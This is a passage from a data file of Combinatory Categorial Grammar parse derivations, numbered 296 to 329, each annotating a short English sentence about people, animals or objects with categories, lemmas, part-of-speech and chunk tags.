t(n, 'barbells', 'barbell', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(296,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'lifting', 'lift', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'weights', 'weight', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(297,
rp(s:dcl/np,
fc(s:dcl/np,
tr(s:dcl/(s:dcl\np),
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fc((s:dcl\np)/np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
bxc((s:ng\np)/np,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
tr((s:ng\np)\((s:ng\np)/pp),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'makeup', 'makeup', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(298,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'putting', 'put', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'makeup', 'makeup', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(299,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(300,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'sliced', 'slice', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(301,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'fighting', 'fight', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'cattle', 'cattle', 'NNS', 'I-NP', 'O'),
t(n, 'pen', 'pen', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(302,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'outside', 'outside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'cattle', 'cattle', 'NNS', 'I-NP', 'O'),
t(n, 'pen', 'pen', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(303,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'missing', 'miss', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(304,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'knocking', 'knock', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(305,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'hitting', 'hit', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(306,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'colored', 'color', 'VBN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'hitting', 'hit', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(307,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'missing', 'miss', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(308,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'hitting', 'hit', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(309,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'hitting', 'hit', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(310,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'missing', 'miss', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(311,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(312,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'laying', 'lay', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(313,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'electric', 'electric', 'JJ', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(314,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'laying', 'lay', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(315,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'puppy', 'puppy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'plastic', 'plastic', 'JJ', 'I-NP', 'O'),
t(n, 'container', 'container', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(316,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'puppy', 'puppy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'plastic', 'plastic', 'JJ', 'I-NP', 'O'),
t(n, 'container', 'container', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(317,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'seated', 'seat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'beside', 'beside', 'IN', 'I-PP', 'O'),
t(np, 'her', 'she', 'PRP', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(318,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'seated', 'seat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'beside', 'beside', 'IN', 'I-PP', 'O'),
t(np, 'her', 'she', 'PRP', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(319,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'flooring', 'floor', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sitting', 'sit', 'VBG', 'I-NP', 'O'),
fa(n,
t(n/n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(320,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'floor', 'floor', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'strumming', 'strum', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(321,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'using', 'use', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pencil', 'pencil', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'eyes', 'eye', 'NNS', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'applying', 'apply', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'eye', 'eye', 'NN', 'I-NP', 'O'),
t(n, 'liner', 'liner', 'NN', 'I-NP', 'O')))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'eyelid', 'eyelid', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(322,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'applying', 'apply', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'cosmetics', 'cosmetic', 'NNS', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'eyelid', 'eyelid', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(323,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
ba(s:dcl\np,
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
lx((s:dcl\np)\(s:dcl\np), s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'using', 'use', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'eye', 'eye', 'NN', 'I-NP', 'O'),
t(n, 'pencil', 'pencil', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'applying', 'apply', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'eye', 'eye', 'NN', 'I-NP', 'O'),
t(n, 'liner', 'liner', 'NN', 'I-NP', 'O')))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'eyelid', 'eyelid', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(324,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'applying', 'apply', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'cosmetics', 'cosmetic', 'NNS', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'eyelid', 'eyelid', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(325,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
ba(np:nb/n,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
t((np:nb/n)\np, '\'s', '\'s', 'POS', 'B-NP', 'O')),
t(n, 'glove', 'glove', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(326,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'practicing', 'practice', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'martial', 'martial', 'JJ', 'I-NP', 'O'),
t(n, 'arts', 'art', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(327,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'away', 'away', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'instrument', 'instrument', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(328,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wind', 'wind', 'NN', 'I-NP', 'O'),
t(n, 'instrument', 'instrument', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(329,
rp(s:dcl,
ba(s:dcl,
